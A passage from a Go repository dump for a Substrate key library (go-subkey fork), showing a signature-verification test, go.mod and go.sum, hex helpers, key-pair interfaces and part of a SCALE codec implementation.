"52fdcf101e08376f7e0a837f656eefa0c8f40cfa8b3e97bec598ec70f019edd29c2572b417cb9dc351cbc68a4586e1f968d8198118e4b656d0b1ce8d73106404") 35 | badSig := fromHex(t, "02fdcf101e08376f7e0a837f656eefa0c8f40cfa8b3e97bec598ec70f019edd29c2572b417cb9dc351cbc68a4586e1f968d8198118e4b656d0b1ce8d73106404") 36 | 37 | _, pubkeyBytes, err := subkey.SS58Decode(addr) 38 | assert.NoError(t, err) 39 | pubkey, err := Scheme{}.FromPublicKey(pubkeyBytes) 40 | assert.NoError(t, err) 41 | assert.True(t, pubkey.Verify(msg, sig)) 42 | assert.False(t, pubkey.Verify(badMsg, sig)) 43 | assert.False(t, pubkey.Verify(msg, badSig)) 44 | assert.False(t, pubkey.Verify(badMsg, badSig)) 45 | 46 | _, badPubkeyBytes, err := subkey.SS58Decode(badAddr) 47 | assert.NoError(t, err) 48 | badPubkey, err := Scheme{}.FromPublicKey(badPubkeyBytes) 49 | assert.NoError(t, err) 50 | assert.False(t, badPubkey.Verify(msg, sig)) 51 | } 52 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/trickypurr/go-subkey/v2 2 | 3 | go 1.24.1 4 | 5 | require ( 6 | github.com/ChainSafe/go-schnorrkel v1.0.0 7 | github.com/decred/base58 v1.0.4 8 | github.com/ethereum/go-ethereum v1.15.5 9 | github.com/gtank/merlin v0.1.1 10 | github.com/stretchr/testify v1.10.0 11 | golang.org/x/crypto v0.32.0 12 | ) 13 | 14 | require ( 15 | github.com/cosmos/go-bip39 v1.0.0 // indirect 16 | github.com/davecgh/go-spew v1.1.1 // indirect 17 | github.com/decred/dcrd/crypto/blake256 v1.0.0 // indirect 18 | github.com/decred/dcrd/dcrec/secp256k1/v4 v4.1.0 // indirect 19 | github.com/gtank/ristretto255 v0.1.2 // indirect 20 | github.com/holiman/uint256 v1.3.2 // indirect 21 | github.com/mimoo/StrobeGo v0.0.0-20220103164710-9a04d6ca976b // indirect 22 | github.com/pmezard/go-difflib v1.0.0 // indirect 23 | golang.org/x/sys v0.29.0 // indirect 24 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect 25 | gopkg.in/yaml.v3 v3.0.1 // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/ChainSafe/go-schnorrkel v1.0.0 h1:3aDA67lAykLaG1y3AOjs88dMxC88PgUuHRrLeDnvGIM= 2 | github.com/ChainSafe/go-schnorrkel v1.0.0/go.mod h1:dpzHYVxLZcp8pjlV+O+UR8K0Hp/z7vcchBSbMBEhCw4= 3 | github.com/cosmos/go-bip39 v0.0.0-20180819234021-555e2067c45d/go.mod h1:tSxLoYXyBmiFeKpvmq4dzayMdCjCnu8uqmCysIGBT2Y= 4 | github.com/cosmos/go-bip39 v1.0.0 h1:pcomnQdrdH22njcAatO0yWojsUnCO3y2tNoV1cb6hHY= 5 | github.com/cosmos/go-bip39 v1.0.0/go.mod h1:RNJv0H/pOIVgxw6KS7QeX2a0Uo0aKUlfhZ4xuwvCdJw= 6 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 7 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 8 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 9 | github.com/decred/base58 v1.0.4 h1:QJC6B0E0rXOPA8U/kw2rP+qiRJsUaE2Er+pYb3siUeA= 10 | github.com/decred/base58 v1.0.4/go.mod h1:jJswKPEdvpFpvf7dsDvFZyLT22xZ9lWqEByX38oGd9E= 11 | github.com/decred/dcrd/crypto/blake256 v1.0.0 h1:/8DMNYp9SGi5f0w7uCm6d6M4OU2rGFK09Y2A4Xv7EE0= 12 | github.com/decred/dcrd/crypto/blake256 v1.0.0/go.mod h1:sQl2p6Y26YV+ZOcSTP6thNdn47hh8kt6rqSlvmrXFAc= 13 | github.com/decred/dcrd/dcrec/secp256k1/v4 v4.1.0 h1:HbphB4TFFXpv7MNrT52FGrrgVXF1owhMVTHFZIlnvd4= 14 | github.com/decred/dcrd/dcrec/secp256k1/v4 v4.1.0/go.mod h1:DZGJHZMqrU4JJqFAWUS2UO1+lbSKsdiOoYi9Zzey7Fc= 15 | github.com/ethereum/go-ethereum v1.15.5 h1:Fo2TbBWC61lWVkFw9tsMoHCNX1ndpuaQBRJ8H6xLUPo= 16 | github.com/ethereum/go-ethereum v1.15.5/go.mod h1:1LG2LnMOx2yPRHR/S+xuipXH29vPr6BIH6GElD8N/fo= 17 | github.com/gtank/merlin v0.1.1-0.20191105220539-8318aed1a79f/go.mod h1:T86dnYJhcGOh5BjZFCJWTDeTK7XW8uE+E21Cy/bIQ+s= 18 | github.com/gtank/merlin v0.1.1 h1:eQ90iG7K9pOhtereWsmyRJ6RAwcP4tHTDBHXNg+u5is= 19 | github.com/gtank/merlin v0.1.1/go.mod h1:T86dnYJhcGOh5BjZFCJWTDeTK7XW8uE+E21Cy/bIQ+s= 20 | github.com/gtank/ristretto255 v0.1.2 h1:JEqUCPA1NvLq5DwYtuzigd7ss8fwbYay9fi4/5uMzcc= 21 | github.com/gtank/ristretto255 v0.1.2/go.mod h1:Ph5OpO6c7xKUGROZfWVLiJf9icMDwUeIvY4OmlYW69o= 22 | github.com/holiman/uint256 v1.3.2 h1:a9EgMPSC1AAaj1SZL5zIQD3WbwTuHrMGOerLjGmM/TA= 23 | github.com/holiman/uint256 v1.3.2/go.mod h1:EOMSn4q6Nyt9P6efbI3bueV4e1b3dGlUCXeiRV4ng7E= 24 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 25 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 26 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 27 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 28 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 29 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 30 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 31 | github.com/mimoo/StrobeGo v0.0.0-20181016162300-f8f6d4d2b643/go.mod h1:43+3pMjjKimDBf5Kr4ZFNGbLql1zKkbImw+fZbw3geM= 32 | github.com/mimoo/StrobeGo v0.0.0-20220103164710-9a04d6ca976b h1:QrHweqAtyJ9EwCaGHBu1fghwxIPiopAHV06JlXrMHjk= 33 | github.com/mimoo/StrobeGo v0.0.0-20220103164710-9a04d6ca976b/go.mod h1:xxLb2ip6sSUts3g1irPVHyk/DGslwQsNOo9I7smJfNU= 34 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 35 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 36 | github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8= 37 | github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4= 38 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 39 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 40 | github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 41 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 42 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 43 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 44 | golang.org/x/crypto v0.0.0-20191206172530-e9b2fee46413/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 45 | golang.org/x/crypto v0.0.0-20200728195943-123391ffb6de/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= 46 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= 47 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= 48 | golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= 49 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 50 | golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 51 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 52 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 53 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 54 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 55 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 56 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 57 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 58 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 59 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 60 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 61 | -------------------------------------------------------------------------------- /hex.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "encoding/hex" 5 | "strings" 6 | ) 7 | 8 | // DecodeHex decodes the hex string to bytes. 9 | // `0x` prefix is accepted. 10 | func DecodeHex(uri string) ([]byte, bool) { 11 | uri = strings.TrimPrefix(uri, "0x") 12 | res, err := hex.DecodeString(uri) 13 | return res, err == nil 14 | } 15 | 16 | // EncodeHex encodes bytes to hex 17 | // `0x` prefix is added. 18 | func EncodeHex(b []byte) string { 19 | res := hex.EncodeToString(b) 20 | if !strings.HasPrefix(res, "0x") { 21 | res = "0x" + res 22 | } 23 | 24 | return res 25 | } 26 | -------------------------------------------------------------------------------- /hex_test.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | import ( 4 | "bytes" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/assert" 8 | ) 9 | 10 | func TestDecodeHex(t *testing.T) { 11 | tests := []struct { 12 | hex string 13 | bytes []byte 14 | valid bool 15 | }{ 16 | { 17 | hex: "0xb69355deefa7a8f33e9297f5af22e680f03597a99d4f4b1c44be47e7a2275802", 18 | bytes: []byte{0xb6, 0x93, 0x55, 0xde, 0xef, 0xa7, 0xa8, 0xf3, 0x3e, 0x92, 0x97, 0xf5, 0xaf, 0x22, 0xe6, 0x80, 0xf0, 0x35, 0x97, 0xa9, 0x9d, 0x4f, 0x4b, 0x1c, 0x44, 0xbe, 0x47, 0xe7, 0xa2, 0x27, 0x58, 0x2}, 19 | valid: true, 20 | }, 21 | { 22 | hex: "46ebddef8cd9bb167dc30878d7113b7e168e6f0646beffd77d69d39bad76b47a", 23 | bytes: []byte{0x46, 0xeb, 0xdd, 0xef, 0x8c, 0xd9, 0xbb, 0x16, 0x7d, 0xc3, 0x8, 0x78, 0xd7, 0x11, 0x3b, 0x7e, 0x16, 0x8e, 0x6f, 0x6, 0x46, 0xbe, 0xff, 0xd7, 0x7d, 0x69, 0xd3, 0x9b, 0xad, 0x76, 0xb4, 0x7a}, 24 | valid: true, 25 | }, 26 | { 27 | hex: "invalidhex", 28 | valid: false, 29 | }, 30 | } 31 | 32 | for _, c := range tests { 33 | t.Run(c.hex, func(t *testing.T) { 34 | res, valid := DecodeHex(c.hex) 35 | assert.Equal(t, c.valid, valid) 36 | assert.True(t, bytes.Equal(c.bytes, res)) 37 | }) 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /keypair.go: -------------------------------------------------------------------------------- 1 | package subkey 2 | 3 | // PublicKey can verify and be converted to SS58 addresses 4 | type PublicKey interface { 5 | Verifier 6 | 7 | // Public returns the pub key in bytes. 8 | Public() []byte 9 | 10 | // AccountID returns the accountID for this key 11 | AccountID() []byte 12 | 13 | // SS58Address returns the Base58 public key with checksum and network identifier. 14 | SS58Address(network uint16) string 15 | } 16 | 17 | // KeyPair can sign, verify using a seed and public key 18 | type KeyPair interface { 19 | Signer 20 | PublicKey 21 | 22 | // Seed returns the seed of the pair 23 | Seed() []byte 24 | } 25 | 26 | // Signer signs the message and returns the signature. 27 | type Signer interface { 28 | Sign(msg []byte) ([]byte, error) 29 | } 30 | 31 | // Verifier verifies the signature. 32 | type Verifier interface { 33 | Verify(msg []byte, signature []byte) bool 34 | } 35 | -------------------------------------------------------------------------------- /scale/scale.go: -------------------------------------------------------------------------------- 1 | // Copyright 2018 Jsgenesis 2 | // 3 | // Licensed under the Apache License, Version 2.0 (the "License"); 4 | // you may not use this file except in compliance with the License. 5 | // You may obtain a copy of the License at 6 | // 7 | // http://www.apache.org/licenses/LICENSE-2.0 8 | // 9 | // Unless required by applicable law or agreed to in writing, software 10 | // distributed under the License is distributed on an "AS IS" BASIS, 11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | // See the License for the specific language governing permissions and 13 | // limitations under the License. 14 | 15 | //nolint 16 | package scale 17 | 18 | import ( 19 | "encoding/binary" 20 | "errors" 21 | "fmt" 22 | "io" 23 | "log" 24 | "math" 25 | "math/big" 26 | "reflect" 27 | ) 28 | 29 | // Implementation for Parity codec in Go. 30 | // Derived from https://github.com/paritytech/parity-codec/ 31 | // While Rust implementation uses Rust type system and is highly optimized, this one 32 | // has to rely on Go's reflection and thus is notably slower. 33 | // Feature parity is almost full, apart from the lack of support for u128 (which are missing in Go). 34 | 35 | const maxUint = ^uint(0) 36 | const maxInt = int(maxUint >> 1) 37 | 38 | // Encoder is a wrapper around a Writer that allows encoding data items to a stream. 39 | // Allows passing encoding options 40 | type Encoder struct { 41 | writer io.Writer 42 | } 43 | 44 | func NewEncoder(writer io.Writer) *Encoder { 45 | return &Encoder{writer: writer} 46 | } 47 | 48 | // Write several bytes to the encoder. 49 | func (pe Encoder) Write(bytes []byte) error { 50 | c, err := pe.writer.Write(bytes) 51 | if err != nil { 52 | return err 53 | } 54 | if c < len(bytes) { 55 | return fmt.Errorf("could not write %d bytes to writer", len(bytes)) 56 | } 57 | return nil 58 | } 59 | 60 | // PushByte writes a single byte to an encoder. 61 | func (pe Encoder) PushByte(b byte) error { 62 | return pe.Write([]byte{b}) 63 | } 64 | 65 | // EncodeUintCompact writes an unsigned integer to the stream using the compact encoding. 66 | // A typical usage is storing the length of a collection. 67 | // Definition of compact encoding: 68 | // 0b00 00 00 00 / 00 00 00 00 / 00 00 00 00 / 00 00 00 00 69 | // xx xx xx 00 (0 ... 2**6 - 1) (u8) 70 | // yL yL yL 01 / yH yH yH yL (2**6 ... 2**14 - 1) (u8, u16) low LH high 71 | // zL zL zL 10 / zM zM zM zL / zM zM zM zM / zH zH zH zM (2**14 ... 2**30 - 1) (u16, u32) low LMMH high 72 | // nn nn nn 11 [ / zz zz zz zz ]{4 + n} (2**30 ... 2**536 - 1) (u32, u64, u128, U256, U512, U520) straight LE-encoded 73 | // Rust implementation: see impl<'a> Encode for CompactRef<'a, u64> 74 | func (pe Encoder) EncodeUintCompact(v big.Int) error { 75 | if v.Sign() == -1 { 76 | return errors.New("assertion error: EncodeUintCompact cannot process negative numbers") 77 | } 78 | 79 | if v.IsUint64() { 80 | if v.Uint64() < 1<<30 { 81 | if v.Uint64() < 1<<6 { 82 | err := pe.PushByte(byte(v.Uint64()) << 2) 83 | if err != nil { 84 | return err 85 | } 86 | } else if v.Uint64() < 1<<14 { 87 | err := binary.Write(pe.writer, binary.LittleEndian, uint16(v.Uint64()<<2)+1) 88 | if err != nil { 89 | return err 90 | } 91 | } else { 92 | err := binary.Write(pe.writer, binary.LittleEndian, uint32(v.Uint64()<<2)+2) 93 | if err != nil { 94 | return err 95 | } 96 | } 97 | return nil 98 | } 99 | } 100 | 101 | numBytes := len(v.Bytes()) 102 | if numBytes > 255 { 103 | return errors.New("assertion error: numBytes>255 exeeds allowed for length prefix") 104 | } 105 | topSixBits := uint8(numBytes - 4) 106 | lengthByte := topSixBits<<2 + 3 107 | 108 | if topSixBits > 63 { 109 | return errors.New("assertion error: n<=63 needed to compact-encode substrate unsigned big integer") 110 | } 111 | err := pe.PushByte(lengthByte) 112 | if err != nil { 113 | return err 114 | } 115 | buf := v.Bytes() 116 | reverse(buf) 117 | err = pe.Write(buf) 118 | if err != nil { 119 | return err 120 | } 121 | return nil 122 | } 123 | 124 | // Encode a value to the stream. 125 | func (pe Encoder) Encode(value interface{}) error { 126 | t := reflect.TypeOf(value) 127 | 128 | // If the type implements encodeable, use that implementation 129 | encodeable := reflect.TypeOf((*Encodeable)(nil)).Elem() 130 | if t.Implements(encodeable) { 131 | err := value.(Encodeable).Encode(pe) 132 | if err != nil { 133 | return err 134 | } 135 | return nil 136 | } 137 | 138 | tk := t.Kind() 139 | switch tk { 140 | 141 | // Boolean and numbers are trivially encoded via binary.Write 142 | // It will use reflection again and take a performance hit 143 | // TODO: consider handling every case directly 144 | case reflect.Bool: 145 | fallthrough 146 | case reflect.Int8: 147 | fallthrough 148 | case reflect.Uint8: 149 | fallthrough 150 | case reflect.Int: 151 | fallthrough 152 | case reflect.Int16: 153 | fallthrough 154 | case reflect.Int32: 155 | fallthrough 156 | case reflect.Int64: 157 | fallthrough 158 | case reflect.Uint: 159 | fallthrough 160 | case reflect.Uint16: 161 | fallthrough 162 | case reflect.Uint32: 163 | fallthrough 164 | case reflect.Uint64: 165 | fallthrough 166 | case reflect.Uintptr: 167 | fallthrough 168 | case reflect.Float32: 169 | fallthrough 170 | case reflect.Float64: 171 | err := binary.Write(pe.writer, binary.LittleEndian, value) 172 | if err != nil { 173 | return err 174 | } 175 | case reflect.Ptr: 176 | rv := reflect.ValueOf(value) 177 | if rv.IsNil() { 178 | return errors.New("encoding null pointers not supported; consider using Option type") 179 | } else { 180 | dereferenced := rv.Elem() 181 | err := pe.Encode(dereferenced.Interface()) 182 | if err != nil { 183 | return err 184 | } 185 | } 186 | 187 | // Arrays: no compact-encoded length prefix 188 | case reflect.Array: 189 | rv := reflect.ValueOf(value) 190 | l := rv.Len() 191 | for i := 0; i < l; i++ { 192 | err := pe.Encode(rv.Index(i).Interface()) 193 | if err != nil { 194 | return err 195 | } 196 | } 197 | 198 | // Slices: first compact-encode length, then each item individually 199 | case reflect.Slice: 200 | rv := reflect.ValueOf(value) 201 | l := rv.Len() 202 | len64 := uint64(l) 203 | if len64 > math.MaxUint32 { 204 | return errors.New("attempted to serialize a collection with too many elements") 205 | } 206 | err := pe.EncodeUintCompact(*big.NewInt(0).SetUint64(len64)) 207 | if err != nil { 208 | return err 209 | } 210 | for i := 0; i < l; i++ { 211 | err = pe.Encode(rv.Index(i).Interface()) 212 | if err != nil { 213 | return err 214 | } 215 | } 216 | 217 | // Strings are encoded as UTF-8 byte slices, just as in Rust 218 | case reflect.String: 219 | s := reflect.ValueOf(value).String() 220 | err := pe.Encode([]byte(s)) 221 | if err != nil { 222 | return err 223 | } 224 | 225 | case reflect.Struct: 226 | rv := reflect.ValueOf(value) 227 | for i := 0; i < rv.NumField(); i++ { 228 | ft := rv.Type().Field(i) 229 | tv, ok := ft.Tag.Lookup("scale") 230 | if ok && tv == "-" { 231 | continue 232 | } 233 | err := pe.Encode(rv.Field(i).Interface()) 234 | if err != nil { 235 | return fmt.Errorf("type %s does not support Encodeable interface and could not be "+ 236 | "encoded field by field, error: %v", t, err) 237 | } 238 | } 239 | 240 | // Currently unsupported types 241 | case reflect.Complex64: 242 | fallthrough 243 | case reflect.Complex128: 244 | fallthrough 245 | case reflect.Chan: 246 | fallthrough 247 | case reflect.Func: 248 | fallthrough 249 | case reflect.Interface: 250 | fallthrough 251 | case reflect.Map: 252 | fallthrough 253 | case reflect.UnsafePointer: 254 | fallthrough 255 | case reflect.Invalid: 256 | return fmt.Errorf("type %s cannot be encoded", t.Kind()) 257 | default: 258 | log.Println("not captured") 259 | } 260 | return nil 261 | } 262 | 263 | // EncodeOption stores optionally present value to the stream. 264 | func (pe Encoder) EncodeOption(hasValue bool, value interface{}) error { 265 | if !hasValue { 266 | err := pe.PushByte(0) 267 | if err != nil { 268 | return err 269 | } 270 | } else { 271 | err := pe.PushByte(1) 272 | if err != nil { 273 | return err 274 | } 275 | err = pe.Encode(value) 276 | if err != nil { 277 | return err 278 | } 279 | } 280 | return nil 281 | } 282 | 283 | // Decoder is a wraper around a Reader that allows decoding data items from a stream. 284 | type Decoder struct { 285 | reader io.Reader 286 | } 287 | 288 | func NewDecoder(reader io.Reader) *Decoder { 289 | return &Decoder{reader: reader} 290 | } 291 | 292 | // Read reads bytes from a stream into a buffer 293 | func (pd Decoder) Read(bytes []byte) error { 294 | c, err := pd.reader.Read(bytes) 295 | if err != nil { 296 | return err 297 | } 298 | if c < len(bytes) { 299 | return fmt.Errorf("cannot read the required number of bytes %d, only %d available", len(bytes), c) 300 | } 301 | return nil 302 | } 303 | 304 | // ReadOneByte reads a next byte from the stream. 305 | // Named so to avoid a linter warning about a clash with io.ByteReader.ReadByte 306 | func (pd Decoder) ReadOneByte() (byte, error) { 307 | buf := []byte{0} 308 | err := pd.Read(buf) 309 | if err != nil { 310 | return buf[0], err 311 | } 312 | return buf[0], nil 313 | } 314 | 315 | // Decode takes a pointer to a decodable value and populates it from the stream. 316 | func (pd Decoder) Decode(target interface{}) error { 317 | t0 := reflect.TypeOf(target) 318 | if t0.Kind() != reflect.Ptr { 319 | return errors.New("target must be a pointer, but was " + fmt.Sprint(t0)) 320 | } 321 | val := reflect.ValueOf(target) 322 | if val.IsNil() { 323 | return errors.New("target is a nil pointer") 324 | } 325 | return pd.DecodeIntoReflectValue(val.Elem()) 326 | } 327 | 328 | // DecodeIntoReflectValue populates a writable reflect.Value from the stream 329 | func (pd Decoder) DecodeIntoReflectValue(target reflect.Value) error { 330 | t := target.Type() 331 | if !target.CanSet() { 332 | return fmt.Errorf("unsettable value %v", t) 333 | } 334 | 335 | // If the type implements decodeable, use that implementation 336 | decodeable := reflect.TypeOf((*Decodeable)(nil)).Elem() 337 | ptrType := reflect.PtrTo(t) 338 | if ptrType.Implements(decodeable) { 339 | var holder reflect.Value 340 | if t.Kind() == reflect.Slice || t.Kind() == reflect.Array { 341 | slice := reflect.MakeSlice(t, target.Len(), target.Len()) 342 | holder = reflect.New(t) 343 | holder.Elem().Set(slice) 344 | } else { 345 | holder = reflect.New(t) 346 | } 347 | 348 | err := holder.Interface().(Decodeable).Decode(pd) 349 | if err != nil { 350 | return err 351 | } 352 | target.Set(holder.Elem()) 353 | return nil 354 | } 355 | 356 | switch t.Kind() { 357 | 358 | // Boolean and numbers are trivially decoded via binary.Read 359 | // It will use reflection again and take a performance hit 360 | // TODO: consider handling every case directly 361 | case reflect.Bool: 362 | fallthrough 363 | case reflect.Int8: 364 | fallthrough 365 | case reflect.Uint8: 366 | fallthrough 367 | case reflect.Int: 368 | fallthrough 369 | case reflect.Int16: 370 | fallthrough 371 | case reflect.Int32: 372 | fallthrough 373 | case reflect.Int64: 374 | fallthrough 375 | case reflect.Uint: 376 | fallthrough 377 | case reflect.Uint16: 378 | fallthrough 379 | case reflect.Uint32: 380 | fallthrough 381 | case reflect.Uint64: 382 | fallthrough 383 | case reflect.Uintptr: 384 | fallthrough 385 | case reflect.Float32: 386 | fallthrough 387 | case reflect.Float64: 388 | intHolder := reflect.New(t) 389 | intPointer := intHolder.Interface() 390 | err := binary.Read(pd.reader, binary.LittleEndian, intPointer) 391 | if err == io.EOF { 392 | return errors.New("expected more bytes, but could not decode any more") 393 | } 394 | if err != nil { 395 | return err 396 | } 397 | target.Set(intHolder.Elem()) 398 | 399 | // If you want to replicate Option behavior in Rust, see OptionBool and an 400 | // example type OptionInt8 in tests. 401 | case reflect.Ptr: 402 | isNil := target.IsNil() 403 | if isNil { 404 | return errors.New("target cannot be nil") 405 | } 406 | ptr := target.Elem() 407 | err := pd.DecodeIntoReflectValue(ptr) 408 | if err != nil { 409 | return err 410 | } 411 | 412 | // Arrays: derive the length from the array length 413 | case reflect.Array: 414 | targetLen := target.Len() 415 | for i := 0; i < targetLen; i++ { 416 | err := pd.DecodeIntoReflectValue(target.Index(i)) 417 | if err != nil { 418 | return err 419 | } 420 | } 421 | 422 | // Slices: first compact-encode length, then each item individually 423 | case reflect.Slice: 424 | codedLen64, _ := pd.DecodeUintCompact() 425 | if codedLen64.Uint64() > math.MaxUint32 { 426 | return errors.New("encoded array length is higher than allowed by the protocol (32-bit unsigned integer)") 427 | } 428 | if codedLen64.Uint64() > uint64(maxInt) { 429 | return errors.New("encoded array length is higher than allowed by the platform") 430 | } 431 | codedLen := int(codedLen64.Uint64()) 432 | targetLen := target.Len() 433 | if codedLen != targetLen { 434 | if codedLen > target.Cap() { 435 | newSlice := reflect.MakeSlice(t, codedLen, codedLen) 436 | target.Set(newSlice) 437 | } else { 438 | target.SetLen(codedLen) 439 | } 440 | } 441 | for i := 0; i < codedLen; i++ { 442 | err := pd.DecodeIntoReflectValue(target.Index(i)) 443 | if err != nil { 444 | return err 445 | } 446 | } 447 | 448 | // Strings are encoded as UTF-8 byte slices, just as in Rust 449 | case reflect.String: 450 | var b []byte 451 | err := pd.Decode(&b) 452 | if err != nil { 453 | return err 454 | } 455 | target.SetString(string(b)) 456 | 457 | case reflect.Struct: 458 | for i := 0; i < target.NumField(); i++ { 459 | ft := target.Type().Field(i) 460 | tv, ok := ft.Tag.Lookup("scale") 461 | if ok && tv == "-" { 462 | continue 463 | } 464 | err := pd.DecodeIntoReflectValue(target.Field(i)) 465 | if err != nil { 466 | return fmt.Errorf("type %s does not support Decodeable interface and could not be "+ 467 | "decoded field by field, error: %v", ptrType, err) 468 | } 469 | } 470 | 471 | // Currently unsupported types 472 | case reflect.Complex64: 473 | fallthrough 474 | case reflect.Complex128: 475 | fallthrough 476 | case reflect.Chan: 477 | fallthrough 478 | case reflect.Func: 479 | fallthrough 480 | case reflect.Interface: 481 | fallthrough 482 | case reflect.Map: 483 | fallthrough 484 | case reflect.UnsafePointer: 485 | fallthrough 486 | case reflect.Invalid: 487 | return fmt.Errorf("type %s cannot be decoded", t.Kind()) 488 | } 489 | return nil 490 | } 491 | 492 | // DecodeUintCompact decodes a compact-encoded integer. See EncodeUintCompact method. 493 | func (pd Decoder) DecodeUintCompact() (*big.Int, error) { 494 | b, _ := pd.ReadOneByte() 495 | mode := b & 3 496 | switch mode { 497 | case 0: 498 | // right shift to remove mode bits 499 | return big.NewInt(0).SetUint64(uint64(b >> 2)), nil 500 | case 1: 501 | bb, err := pd.ReadOneByte() 502 | if err != nil { 503 | return nil, err 504 | } 505 | r := uint64(bb) 506 | // * 2^6 507 | r <<= 6 508 | // right shift to remove mode bits and add to prev 509 | r += uint64(b >> 2) 510 | return big.NewInt(0).SetUint64(r), nil 511 | case 2: 512 | // value = 32 bits + mode 513 | buf := make([]byte, 4) 514 | buf[0] = b 515 | err := pd.Read(buf[1:4]) 516 | if err != nil { 517 | return nil, err 518 | } 519 | // set the buffer in little endian order 520 | r := binary.LittleEndian.Uint32(buf) 521 | // remove the last 2 mode bits 522 | r >>= 2 523 | return big.NewInt(0).SetUint64(uint64(r)), nil 524 | case 3: 525 | // remove mode bits 526 | l := b >> 2 527 | 528 | if l > 63 { // Max upper bound of 536 is (67 - 4) 529 | return nil, errors.New("not supported: l>63 encountered when decoding a compact-encoded uint") 530 | } 531 | buf := make([]byte, l+4) 532 | err := pd.Read(buf) 533 | if err != nil { 534 | return nil, err 535 | } 536 | reverse(buf) 537 | return new(big.Int).SetBytes(buf), nil 538 | default: 539 | return nil, errors.New("code should be unreachable") 540 